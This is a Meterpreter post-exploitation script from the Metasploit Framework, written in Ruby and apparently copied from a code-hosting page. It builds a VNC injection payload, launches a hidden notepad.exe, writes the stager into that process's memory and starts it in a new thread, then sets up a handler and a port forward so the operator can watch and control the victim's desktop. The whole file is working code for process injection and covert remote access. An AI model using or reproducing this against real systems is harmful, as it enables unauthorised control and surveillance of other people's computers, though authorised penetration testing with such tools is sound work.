88 lines
2.0 KiB
Ruby
88 lines
2.0 KiB
Ruby
|
# $Id$
|
||
|
|
|
||
|
|
#
|
||
|
|
# Meterpreter script for obtaining a quick VNC session
|
||
|
|
#
|
||
|
|
|
||
|
|
session = client
|
||
|
|
|
||
|
|
#
|
||
|
|
# Options
|
||
|
|
#
|
||
|
|
opts = Rex::Parser::Arguments.new(
|
||
|
|
"-h" => [ false, "This help menu"],
|
||
|
|
"-p" => [ true, "The port on the remote host to bind VNC to (default: randomized)"],
|
||
|
|
"-l" => [ true, "The local port to listen on via port forwarding (default: 5901)"],
|
||
|
|
"-e" => [true, "The process to run and inject into (default: notepad.exe)"]
|
||
|
|
)
|
||
|
|
|
||
|
|
#
|
||
|
|
# Default parameters
|
||
|
|
#
|
||
|
|
|
||
|
|
lport = 5901
|
||
|
|
lhost = "127.0.0.1"
|
||
|
|
rport = 1024 + rand(1024)
|
||
|
|
runme = "notepad.exe"
|
||
|
|
|
||
|
|
#
|
||
|
|
# Option parsing
|
||
|
|
#
|
||
|
|
opts.parse(args) do |opt, idx, val|
|
||
|
|
case opt
|
||
|
|
when "-h"
|
||
|
|
print_line(opts.usage)
|
||
|
|
return
|
||
|
|
when "-p"
|
||
|
|
rport = val.to_i
|
||
|
|
when "-l"
|
||
|
|
lport = val.to_i
|
||
|
|
when "-e"
|
||
|
|
runme = val
|
||
|
|
end
|
||
|
|
end
|
||
|
|
|
||
|
|
|
||
|
|
#
|
||
|
|
# Create Payload
|
||
|
|
#
|
||
|
|
print_status("Creating a VNC stager: RHOST=#{lhost} LPORT=#{rport}")
|
||
|
|
pay = client.framework.payloads.create("windows/vncinject/bind_tcp")
|
||
|
|
pay.datastore['LPORT'] = rport
|
||
|
|
# pay.datastore['RHOST'] = vnc_lhost
|
||
|
|
raw = pay.generate
|
||
|
|
|
||
|
|
#
|
||
|
|
# Create a host process
|
||
|
|
#
|
||
|
|
pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid
|
||
|
|
print_status("Host process #{runme} has PID #{pid}")
|
||
|
|
note = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||
|
|
mem = note.memory.allocate(1024*32)
|
||
|
|
|
||
|
|
print_status("Allocated memory at address #{"0x%.8x" % mem}")
|
||
|
|
print_status("Writing the VNC stager into memory...")
|
||
|
|
note.memory.write(mem, raw)
|
||
|
|
|
||
|
|
#
|
||
|
|
# Setup the multi/handler
|
||
|
|
#
|
||
|
|
|
||
|
|
mul = session.framework.exploits.create("multi/handler")
|
||
|
|
mul.datastore['PAYLOAD'] = "windows/vncinject/bind_tcp"
|
||
|
|
mul.datastore['RHOST'] = lhost
|
||
|
|
mul.datastore['LPORT'] = lport
|
||
|
|
mul.datastore['EXITFUNC'] = 'process'
|
||
|
|
mul.datastore['ExitOnSession'] = true
|
||
|
|
print_status("Running Payload")
|
||
|
|
mul.exploit_simple(
|
||
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
||
|
|
'RunAsJob' => true
|
||
|
|
)
|
||
|
|
|
||
|
|
print_status("Creating a new thread within #{runme} to run the VNC stager...")
|
||
|
|
note.thread.create(mem, 0)
|
||
|
|
|
||
|
|
print_status("Starting the port forwarding from #{lport} => TARGET:#{rport}")
|
||
|
|
client.run_cmd("portfwd add -l #{lport} -p #{rport} -r #{lhost}")
|